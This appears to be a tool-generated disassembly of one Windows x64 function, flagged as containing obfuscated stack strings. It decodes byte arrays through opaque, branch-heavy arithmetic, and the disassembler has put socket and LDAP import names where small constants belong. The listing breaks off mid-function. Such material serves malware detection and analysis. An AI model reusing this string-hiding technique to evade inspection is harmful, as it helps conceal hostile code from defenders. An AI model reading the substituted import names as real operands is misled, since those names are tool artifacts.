Function at 0x1400549e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov r12, r8
mov r13, rdx
mov ecx, 4
mov rax, qword gs:[0x58]
mov r9, qword [rax]
mov eax, dword [rcx + r9]
cmp dword [0x140230508], eax
jle 0x140055f3c
lea rcx, [0x140230508]
call fcn.14019b310
cmp dword [0x140230508], 0xffffffff
jne 0x140055f3c
mov dword [rbp - 0x50], 0x2d3e3112
mov dword [rbp - 0x4c], 0x2253725
mov dword [rbp - 0x48], 0x2d212039
mov word [rbp - 0x44], 0x5129
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x42], xmm0
mov dword [rbp - 0x32], eax
mov byte [rbp - 0x2e], al
movabs rsi, 0x9ebd8c03cff6d692
movabs rdx, 0xc5608662608667ae
mov r14, qword [0x1402304a0]
mov r15, qword [0x1402304a8]
movzx r11d, byte [rbp + 0x58]
nop dword [rax]
mov r8, r15
mov r9, r14
nop word [rax + rax]
xor edi, edi
movabs rcx, 0xb239c9b709e72eca
cmp rdi, 0x23
jae 0x140055701
movzx ebx, byte [rbp + rdi - 0x50]
movzx r10d, bl
nop
cmp r8, rdi
ja 0x1400556f8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140054aeb
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x7a
jmp 0x140054b24
je 0x140055672
inc rax
cmp r8, rax
je 0x1400555ff
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400555bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x140055587
lea rax, [r9 + 8]
cmp r8, rax
je 0x140055532
movzx r10d, bl
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400556ef
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140054b68
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xc5608662608667ae
jmp 0x140054bb0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140055515
inc rax
cmp r8, rax
je 0x1400554e5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400554c2
lea rax, [r9 + 6]
cmp r8, rax
je 0x14005549f
lea rax, [r9 + 7]
cmp r8, rax
je 0x14005547c
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14005515b
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14005513d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14005510c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400550de
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400550bb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14005509a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14005507c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14005505e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140055040
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140055022
lea rax, [r9 + 8]
cmp r8, rax
je 0x140054bc0
lea r8, [r9 + 0x41]
lea r9, [r8 + 5]
lea rcx, [r9 + 0x61]
cmp r8, rcx
jb 0x1400556cf
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400556af
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140054dc5
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140054d93
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140054d6a
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140054fdf
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140054fa0
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140054f63
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140054f33
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140054bc0
mov r8, rcx
lea r9, [rcx + 0x28]
lea rcx, [r9 + 3]
cmp r8, rcx
ja 0x140054f15
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140054ef7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140054ed9
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140054ebb
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140054e9a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140054e7e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140054e50
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140054e1f
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140054e01
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140054bc0
mov r8, rcx
lea r9, [rcx + 0x400]
jmp 0x140054bc0
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
mov edx, Ordinal_35
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movabs rdx, 0xc5608662608667ae
jmp 0x140054bb0
movabs rcx, 0x60ecf2f44cb80a1a
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_41
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movabs rdx, 0xc5608662608667ae
jmp 0x140054b30
movabs rcx, 0xfc795f8638e9ac86
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_45
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movabs rdx, 0xc5608662608667ae
movabs rcx, 0xb239c9b709e72eca
jmp 0x140054ac0
lea edx, [rdi - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055556
lea edx, [rdi - 4]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea edx, [rdi - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
movzx r10d, dil
jmp 0x14005543a
lea edx, [rdi + 0x40]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400555dc
lea edx, [rdi - 0x54]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400555dc
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055623
lea edx, [rdi - 0x7c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055647
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055692
lea edx, [rdi - 2]
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi - 0x50], r11b
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea edx, [rdi + 0x6a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x40
jb 0x140054f4c
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140055556
lea edx, [rdi - 0x2a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 6
jae 0x140055420
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140055357
lea edx, [rdi - 0x4c]
movzx eax, bl
and al, dl
mov ecx, 0xa
jmp 0x140054f70
lea edx, [rdi + 0x42]
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x140055467
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14005528b
lea edx, [rdi + 0x22]
movzx eax, bl
and al, dl
mov ecx, 9
jmp 0x140054fad
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055692
lea edx, [rdi - 0x28]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055647
lea edx, [rdi + 0x44]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055623
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400555dc
lea edx, [rdi + 0x1c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400555dc
movzx r10d, dil
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055440
lea edx, [rdi - 0xc]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055556
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14005518c
movabs rcx, 0xb239c9b709e72eca
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x3d
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140054ff8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400551b3
lea edx, [rdi + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140055692
inc rax
cmp r8, rax
jne 0x1400551d4
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x140055623
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400551f9
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
add r8, r9
jmp 0x1400555dc
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140055220
movzx r10d, dil
lea ecx, [r10 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140055440
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140055252
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140054ff8
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400552b2
lea edx, [rdi - 0x4a]
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055556
inc rax
cmp r8, rax
jne 0x1400552e3
lea ecx, [rdi - 0x22]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14005530b
movzx r10d, dil
lea edx, [r10 + 0x72]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
jmp 0x14005543d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14005532d
lea ecx, [rdi - 0x66]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
jmp 0x1400555dc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140054fb9
lea edx, [rdi + 0x2e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x42
add r11b, dl
jmp 0x140055623
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14005537e
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140055692
inc rax
cmp r8, rax
jne 0x14005539f
lea ecx, [rdi + 4]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
jmp 0x1400555dc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400553c4
movzx r10d, dil
lea edx, [r10 + 0x2c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
jmp 0x14005543d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400553f6
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140054f7c
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x140055556
movzx r10d, dil
lea edx, [r10 + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, bl
add r11b, dl
sub r10b, 0x26
movzx eax, bl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi - 0x50], cl
add r8, r9
jmp 0x1400555dc
lea ecx, [rdi - 0x5c]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x7c]
jmp 0x140055623
movabs rcx, 0x5de694065a9b659e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
jmp 0x140055623
movabs rcx, 0xf973009846cd080a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
jmp 0x1400555dc
movabs rax, 0x94ff6d2a32feaa76
add rax, rdi
and bl, al
add bl, bl
sub al, bl
lea r11d, [r10 + rax]
sub r11b, 0x3a
add r8, r9
jmp 0x1400555dc
movabs rax, 0xcc18464e0b61ef4e
add rax, rdi
and bl, al
add bl, bl
sub al, bl
lea r11d, [r10 + rax]
sub r11b, 0x22
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
movabs rax, 0x3311f71e3c53426
add rax, rdi
and bl, al
add bl, bl
sub al, bl
lea r11d, [r10 + rax]
sub r11b, 0xa
jmp 0x140055552
movabs rax, 0x3a49f895bc2878fe
add rax, rdi
and bl, al
mov ecx, 7
sub cl, bl
lea r11d, [rcx + rcx]
add r11b, al
add r11b, r10b
movzx ebx, r10b
lea edx, [rdi + 0x46]
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x50], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
movabs rax, 0x7162d1b9948bbdd6
add rax, rdi
and bl, al
mov ecx, reloc.WS2_32.dll_send
sub cl, bl
lea r11d, [rcx + rcx]
add r11b, al
add r11b, r10b
dec rdi
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
movabs rax, 0x4408176f5920a51a
add rax, rdi
and bl, al
mov ecx, Ordinal_41
sub cl, bl
lea r11d, [rcx + rcx]
add r11b, al
add r11b, r10b
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
movabs rax, 0xdf94840145524786
add rax, rdi
and bl, al
mov ecx, Ordinal_45
sub cl, bl
lea r11d, [rcx + rcx]
add r11b, al
add r11b, r10b
movzx ebx, r10b
lea edx, [rdi + 0x6e]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 2
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x50], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x50], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
jmp 0x140055692
movabs rax, 0x16ad5d251db58c5e
add rax, rdi
and bl, al
mov ecx, gethostname
sub cl, bl
lea r11d, [rcx + rcx]
add r11b, al
add r11b, r10b
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0xc5608662608667ae
jmp 0x140054aa2
sub dil, 0xe
movzx eax, bl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140054a96
add dil, 0x5e
movzx eax, bl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140054a8d
lea rsi, [rbp + 0x1536f68]
jmp 0x140055705
lea rsi, [rbp + 0x7a9e32]
jmp 0x140055705
lea rsi, [rbp - 0x50]
mov dword [rbp - 0x28], 0x706d756e
mov dword [rbp - 0x24], 0x6b68776f
mov dword [rbp - 0x20], 0x6e726c26
mov byte [rbp - 0x1c], listen
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1b], xmm0
mov dword [rbp - 0xb], eax
mov word [rbp - 7], ax
movzx ebx, byte [rbp + 0x58]
mov rax, r15
mov r8, r14
nop dword [rax + rax]
xor r10d, r10d
movabs rdx, 0xaaff0d7e19040780
cmp r10, 0x23
jae 0x140055f1a
movzx r9d, byte [rbp + r10 - 0x28]
mov edi, r9d
cmp rax, r10
ja 0x140055f11
lea rcx, [r8 + 1]
cmp rax, rcx
jae 0x14005578a
add rdx, r10
mov rcx, rdx
and rcx, rdi
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, rdi
add bl, 0x80
jmp 0x1400557b6
je 0x140055ea7
inc rcx
cmp rax, rcx
je 0x140055e72
lea rcx, [r8 + 5]
cmp rax, rcx
je 0x140055e4f
lea rcx, [r8 + 3]
cmp rax, rcx
je 0x140055e29
cmp r8, r10
ja 0x140055f08
lea rcx, [r8 + 3]
cmp rax, rcx
jae 0x1400557e6
lea r11d, [r10 + 0x80]
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx ebx, r11b
sub bl, cl
add bl, 0x80
add bl, r9b
jmp 0x140055820
lea rdx, [r8 + 1]
cmp rax, rdx
je 0x140055de7
cmp rax, rcx
je 0x140055e4f
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140055dcd
lea rcx, [r8 + 7]
lea r11d, [r10 + 0x80]
cmp rax, rcx
je 0x140055d58
nop dword [rax]
lea rcx, [r8 + rax]
cmp rcx, r10
jbe 0x140055ad8
nop dword [rax]
lea rcx, [r8 + 6]
cmp rax, rcx
je 0x140055a48
lea rcx, [r8 + 0x1000]
cmp rax, rcx
je 0x140055bf7
lea rcx, [r8 + 0x2a]
cmp rax, rcx
je 0x140055bd1
lea rcx, [r8 + 5]
cmp rax, rcx
je 0x140055bb4
lea rcx, [r8 + 0x400]
cmp rax, rcx
je 0x140055b91
lea rcx, [r8 + 0x5a]
cmp rax, rcx
je 0x140055ac1
lea rcx, [r8 + 4]
cmp rax, rcx
je 0x140055a5c
lea rcx, [r8 + 0x3e8]
cmp rax, rcx
je 0x140055aaa
lea rcx, [r8 + 0x41]
cmp rax, rcx
je 0x140055b62
lea rcx, [r8 + 3]
cmp rax, rcx
je 0x140055830
lea rax, [r8 + 0x10]
lea r8, [rax + 0x200]
lea rcx, [r8 + 0x64]
cmp rax, rcx
jb 0x140055ef0
lea rcx, [r8 + 4]
cmp rax, rcx
jb 0x140055ed8
lea rcx, [r8 + 0xa]
cmp rax, rcx
jb 0x140055a21
lea rcx, [r8 + 0x42]
cmp rax, rcx
jb 0x140055a04
lea rcx, [r8 + 3]
cmp rax, rcx
jb 0x1400559e7
lea rcx, [r8 + 9]
cmp rax, rcx
jb 0x140055ae1
lea rcx, [r8 + 0x40]
cmp rax, rcx
jb 0x140055b14
lea rcx, [r8 + 2]
cmp rax, rcx
jb 0x140055a90
lea rcx, [r8 + 8]
cmp rax, rcx
jb 0x140055a70
lea rcx, [r8 + 0x28]
cmp rax, rcx
jb 0x140055830
lea rax, [r8 + 0x400]
lea r8, [rax + 1]
lea rcx, [r8 + 0x5a]
cmp rax, rcx
ja 0x140055b62
lea rcx, [r8 + 0x40]
cmp rax, rcx
ja 0x140055aaa
lea rcx, [r8 + 0x3e8]
cmp rax, rcx
ja 0x140055a5c
lea rcx, [r8 + 0x41]
cmp rax, rcx
ja 0x140055ac1
lea rcx, [r8 + 0x28]
cmp rax, rcx
ja 0x140055b91
lea rcx, [r8 + 0x200]
cmp rax, rcx
ja 0x140055bb4
lea rcx, [r8 + 0x7a]
cmp rax, rcx
ja 0x140055bd1
lea rcx, [r8 + 0x20]
cmp rax, rcx
ja 0x140055bf7
lea rcx, [r8 + 0x80]
cmp rax, rcx
ja 0x140055a48
lea rcx, [r8 + 0x61]
cmp rax, rcx
ja 0x140055830
lea rax, [r8 + 3]
lea r8, [rax + 0x10]
jmp 0x140055830
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea ebx, [r9 + rdx]
add bl, 0x80
jmp 0x140055820
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea ebx, [r9 + rdx]
add bl, 0x80
jmp 0x1400557b6
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea ebx, [r9 + rdx]
add bl, 0x80
movabs rdx, 0xaaff0d7e19040780
jmp 0x140055760
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
jmp 0x140055e00
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
jmp 0x140055d6a
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
lea ebx, [r11 + r9]
add bl, 0x80
mov byte [rbp + r10 - 0x28], bl
inc r10
jmp 0x140055743
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx ebx, r9b
sub bl, cl
add bl, 0x80
add bl, r11b
jmp 0x140055cea
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
jmp 0x140055d92
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
jmp 0x140055e8f
lea rdx, [r8 + 5]
cmp rax, rdx
jae 0x140055b59
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx ebx, r9b
sub bl, cl
add bl, 0x80
add bl, r11b
lea rcx, [r8 + rax]
cmp rcx, 0xa
je 0x140055d47
lea rcx, [r8 + 0x80]
cmp rax, rcx
jbe 0x140055c17
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx ebx, r9b
sub bl, cl
add bl, 0x80
add bl, r11b
cmp rax, 0x3e8
jae 0x140055d0e
lea rcx, [r8 + 0x2a]
cmp rax, rcx
jbe 0x140055ca9
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
jmp 0x140055cea
lea rcx, [r8 + 1]
cmp rax, rcx
jne 0x140055b88
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
movzx ecx, byte [rbp + r10 - 0x28]
add rcx, r8
add r10, rcx
inc r10
jmp 0x140055743
lea rcx, [r8 + 4]
cmp rax, rcx
jne 0x140055bab
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
add rax, r8
jmp 0x140055e8f
lea rcx, [r8 + 6]
cmp rax, rcx
jne 0x140055bc8
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx ebx, r10b
sub bl, cl
jmp 0x140055d20
lea rcx, [r8 + 3]
cmp rax, rcx
jne 0x140055bee
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
dec r10
inc r10
jmp 0x140055743
cmp rax, rdx
jne 0x140055af6
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, r9b
inc r8
dec r10
inc r10
jmp 0x140055743
lea rcx, [r8 + 1]
cmp rax, rcx
jne 0x140055c3a
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx ebx, r9b
sub bl, cl
add bl, 0x80
add bl, r11b
jmp 0x140055e03
inc rcx
cmp rax, rcx
jne 0x140055c63
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
lea ebx, [r11 + r9]
add bl, 0x80
inc r8
dec r10
inc r10
jmp 0x140055743
lea rcx, [r8 + 3]
cmp rax, rcx
jne 0x140055c87
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
lea ebx, [r11 + r9]
add bl, 0x80
add rax, r8
jmp 0x140055e8f
lea rcx, [r8 + 2]
cmp rax, rcx
jne 0x140055b29
movzx ecx, r9b
and cl, r11b
add cl, cl
sub r9b, cl
lea ebx, [r11 + r9]
jmp 0x140055ec1
lea rcx, [r8 + 1]
cmp rax, rcx
je 0x140055b62
lea rcx, [r8 + 6]
cmp rax, rcx
jne 0x140055cd0
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx ebx, r10b
sub bl, cl
jmp 0x140055d20
lea rcx, [r8 + 4]
cmp rax, rcx
je 0x140055bd1
lea rcx, [r8 + 2]
cmp rax, rcx
je 0x140055bf7
cmp r8, 2
jb 0x140055a83
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140055e03
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx ebx, r10b
sub bl, cl
add bl, r9b
add bl, r9b
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx edx, bl
sub dl, cl
add dl, 0x80
add dl, r9b
add dl, r11b
mov byte [rbp + r10 - 0x28], dl
add rax, r8
jmp 0x140055e8f
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ebx, r10b
sub bl, dl
jmp 0x140055d6d
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx ebx, r11b
sub bl, cl
add bl, 0x80
add bl, r9b
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
add r11b, 0x80
add r11b, r9b
movzx ecx, r11b
mov byte [rbp + r10 - 0x28], cl
inc r8
add rcx, r8
sub r10, rcx
movzx edx, r10b
and dl, r9b
add dl, dl
movzx ecx, r10b
sub cl, dl
add cl, r9b
mov byte [rbp + r10 - 0x28], cl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x28]
add rcx, r8
add r10, rcx
inc r10
jmp 0x140055743
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea ebx, [r9 + rdx]
jmp 0x140055e8c
lea r11d, [r10 + 0x80]
movzx ecx, r11b
and cl, r9b
add cl, cl
movzx ebx, r11b
sub bl, cl
add bl, 0x80
add bl, r9b
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
add r11b, 0x80
add r11b, r9b
mov byte [rbp + r10 - 0x28], r11b
inc r8
dec r10
inc r10
jmp 0x140055743
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
